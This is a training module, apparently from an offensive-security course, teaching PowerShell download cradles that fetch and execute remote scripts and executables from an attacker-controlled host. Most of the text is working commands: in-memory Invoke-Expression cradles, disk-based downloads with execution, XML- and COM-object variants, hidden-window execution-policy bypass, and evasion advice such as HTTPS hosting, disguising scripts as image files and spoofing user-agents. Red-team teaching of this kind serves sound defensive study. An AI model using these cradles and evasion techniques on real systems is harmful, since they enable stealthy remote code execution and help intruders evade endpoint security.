Downloading & Execution

The ability to download and execute files on our target systems is, of course, a necessary process in our quest to maintain footholds and persistence within a target network.

Being able to do so with tools that are already built-in to the operating system (i.e., Living off the Land) is even more important as it helps evade endpoint security measures and application whitelisting solutions by using tools that are likely already “trusted.”

Additionally, being able to download and execute files with PowerShell is even more advantageous in many cases, since we’re able to operate entirely within the memory process of PowerShell, and can avoid dropping artifacts to disk in many cases.

There are two primary ways we can download and execute code in regards to strictly using PowerShell and built in .Net classes or COM objects:

1. An executable or script is downloaded to disk, which can then
be executed by PowerShell itself, or by using other executables
on the system to execute our code.

2. An executable or script is downloaded and run within the
PowerShell process memory, and never touches the disk.
(Preferred Method)

A summary of methods we can use for “In-Memory” execution with PowerShell version 2.0: (preferred methods)

• Net.WebClient DownloadString
• Net.WebClient DownloadData
• Net.WebClient OpenRead 
• .NET [Net.HttpWebRequest] class
• Word.Application COM Object
• Excel.Application COM Object
• InternetExplorer.Application COM Object
• MsXml2.ServerXmlHttp Com Object
• Certutil.exe w/ -ping argument

A summary of methods we can use for “Disk-Based” execution with PowerShell version 2.0

• Net.WebClient DownloadFile method
• BITSAdmin.exe
• Certutil.exe w/ -urlcache argument

These two methods (in-memory and disk-based) are usually accomplished using what are commonly referred to as “Download Cradles,” and use the “System.Net.WebClient” .Net System Class among other classes, COM objects or other Windows-native executables to achieve this.

Most of the time, we use the “New-Object” cmdlet. The New-Object cmdlet, as its name infers, allows us to create instances (objects) of either .Net or COM objects. Let’s take a look at several examples.

The most common download cradle we’ll see in the field uses the “iex” (Invoke-Expression) alias along with the Net.WebClient class and the “DownloadString” method, which downloads and executes a remotely hosted powershell script, and can be done with a command like the following:

PS C:\> iex (New-Object Net.Webclient).DownloadString(“http://attacker_url/script.ps1")

We can run the same command from a standard windows command prompt:

C:\> powershell.exe iex (New-Object Net.Webclient).DownloadString(‘http://attacker_url/script.ps1’)

We can also break the above PowerShell commands down and execute them directly via the console with something like the following as well:

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $payload = "http://attacker_url/script.ps1"
PS C:\> $command = $downloader.DownloadString($payload)
PS C:\> Invoke-Expression $command

Instantiate our
System.Net.Webclient class
as the $downloader variable

Create our $payload
variable (URL to the script)

Create our $command
variable

Execute our $command
with the “InvokeExpression” (iex) cmdlet

The “DownloadString” method will execute our remote script in the PowerShell process memory, so in regards to not dropping an artifact to disk, it’s a great way to stay under the radar of endpoint security solutions that are not monitoring powershell memory.

Important: Evasion Tips

It should be noted that where possible when hosting your remote PowerShell script, to have an SSL certificate configured on the attacker machine. This helps in evading over-the-wire heuristics as our traffic will go over HTTPS. In the previous examples, we simply used HTTP, which could easily be detected.

Another trick we can use which might help in evading basic file extension heuristics is to give our PowerShell script a different extension, for instance, “Logo.gif.” PowerShell will still execute it as a .ps1 script.

There are many other ways we can decrease our probability of being detected, and we will cover some of those ways in following slides.

It’s also important to note that the Net.WebClient class allows us to specify a custom user-agent string when sending the request to our attacker URL.

This can help us evade detection mechanisms that are flagging on abnormal user-agent strings crossing the wire.

We can do that with the “Headers.Add” method:

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $downloader.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146
Safari/537.36")
PS C:\> $payload = "http://192.168.13.62/Get-ProcessPaths.ps1"
PS C:\> $command = $downloader.DownloadString($payload)
PS C:\> iex $command

We can see our user-agent string was sent as part of the Net.WebClient GET request ( Wireshark ).

======================================================================

Another Net.WebClient class method we can use is the “DownloadFile” method. This method will download your executable to disk. Although noisy and not recommended if trying to remain stealthy, it’s still sometimes a handy method to quickly download a file to the target system.

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $payload = "http://attacker_URL/payload.exe"
PS C:\> $local_file = "C:\programdata\payload.exe"
PS C:\> $downloader.DownloadFile($payload,$local_file)

Instantiate our
System.Net.Webclient class
as the $downloader variable

$payload URL variable

$local_file variable (will
save to this location)

Call the object variable with
the “DownloadFile” method
and our $payload and
$local_file variables

Executing the file once it’s on our target system can be accomplished using the call operator (&) and variable we created for the payload ($local_file):

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $payload = "http://attacker_URL/payload.exe"
PS C:\> $local_file = "C:\programdata\payload.exe"
PS C:\> $downloader.DownloadFile($payload,$local_file)
PS C:\> & $local_file

It should also be noted that the Net.WebClient class methods can be configured to use the systems’ proxy and default credentials with the following commands:

PS C:\> $downloader = New-Object System.Net.WebClient
PS C:\> $payload = http://attacker_URL/script.ps1
PS C:\> $cmd = $downloader.DownloadFile($payload)
PS C:\> $proxy = [Net.WebRequest]::GetSystemWebProxy()
PS C:\> $proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
PS C:\> $downloader.Proxy = $proxy
PS C:\> iex $cmd

Aside from the Net.WebClient class, we can also use the Net.WebRequest class to download and execute scripts on a target, in memory.

PS C:\> $req = [System.Net.WebRequest]::Create("http://attacker_URL/script.ps1")
PS C:\> $res = $req.GetResponse()
PS C:\> iex ([System.IO.StreamReader]($res.GetResponseStream())).ReadToEnd()

Instantiate our
System.Net.WebRequest
class as the $req variable

Create a $res variable to
store the WebRequest
response

Use the “Invoke-Expression”
alias (iex) to invoke the
System.IO.StreamReader
and execute our code.

Similar to the Net.WebClient class, the Net.WebRequest class can also be configured to use a proxy as follows:

PS C:\> $req = [System.Net.WebRequest]::Create("http://attacker_URL/script.ps1")
PS C:\> $res = $req.GetResponse()
PS C:\> $proxy = [Net.WebRequest::GetSystemWebProxy()
PS C:\> $proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
PS C:\> $req.Proxy = $proxy
PS C:\> iex ([System.IO.StreamReader]($res.GetResponseStream())).ReadToEnd()

The “System.Xml.XmlDocument” class allows us to execute a powershell command (or any system command) contained within an attacker hosted XML document and is another great way to execute powershell code in memory, and in a way that is likely not detected, especially when combined with a server over HTTPS.

What we’ll want to do is create an XML file with the following contents, which we’ll host on our attacker machine:

<?xml version="1.0"?>
<command>
<a>
<execute>Get-Process</execute>
</a>
</command>

The above xml file will simply list the system processes when executed.

Next, once our xml file is hosted, we can use the System.Xml.XmlDocument class with the “Load” method to download, and execute it:

PS C:\> $xmldoc = New-Object System.Xml.XmlDocument
PS C:\> $xmldoc.Load("http://attacker_URL/file.xml")
PS C:\> iex $xmldoc.command.a.execute

We can also use COM Objects to both download and execute scripts on a target system. Some of the COM objects available to us for this purpose are:

Com Object
Msxml2.XMLHTTP
Microsoft.XMLHTTP
InternetExplorer.Application
Excel.Application
Word.Application
MsXml2.ServerXmlHttp
WinHttp.WinHttpRequest.5.1 (Not Proxy Aware)

Take note that all of the above COM Objects are proxy-aware, and will by default, use system configured proxies, except for the “WinHttp.WinHttpRequest.5.1” object, although that object can be configured to use one if needed.

We can utilize the COM objects in the same way we do with the Net.WebClient objects, by using the “New-Object” cmdlet, but with the “-ComObject” parameter. In the below, we’re utilizing the “Msxml2.XMLHTTP” object for executing a remotely hosted PowerShell Script:

PS C:\> $downloader = New-Object –ComObject Msxml2.XMLHTTP
PS C:\> $downloader.open(“GET”, “http://attacker_URL/script.ps1”, $false)
PS C:\> $downloader.send()
PS C:\> iex $downloader.responseText

And we can do the same with the “WinHttp.WinHttpRequest.5.1” object as well:

PS C:\> $downloader = New-Object –ComObject WinHttp.WinHttpRequest.5.1
PS C:\> $downloader.open(“GET”, “http://attacker_URL/script.ps1”, $false)
PS C:\> $downloader.send()
PS C:\> iex $downloader.responseText

Keep in mind, that all of the previous slides and future multi-line commands we’re showing as examples, can also be done as oneliners, by using a semicolon (;) to break up the commands:

$dl=New-Object –ComObject Msxml2.XMLHTTP; $dl.open(“GET”, “http://attacker/script.ps1”, $false); …etc

With all of these examples, when executing the download cradles from a windows command prompt or shell, or when launching the powershell.exe executable, make sure to include the – ExecutionPolicy Bypass and –Window Hidden options we covered in the Fundamentals module. This will ensure we can run our scripts and that the powershell window stays hidden from the end-user.

C:\> powershell.exe –ExecutionPolicy bypass –Window hidden .\downloader.ps1 

A great tool we can use to help us craft obfuscated download cradles is known as “Invoke-CradleCrafter” by Daniel Bohannon. We encourage you to explore that tool, in addition to getting familiar with the manual methods we covered.

Last updated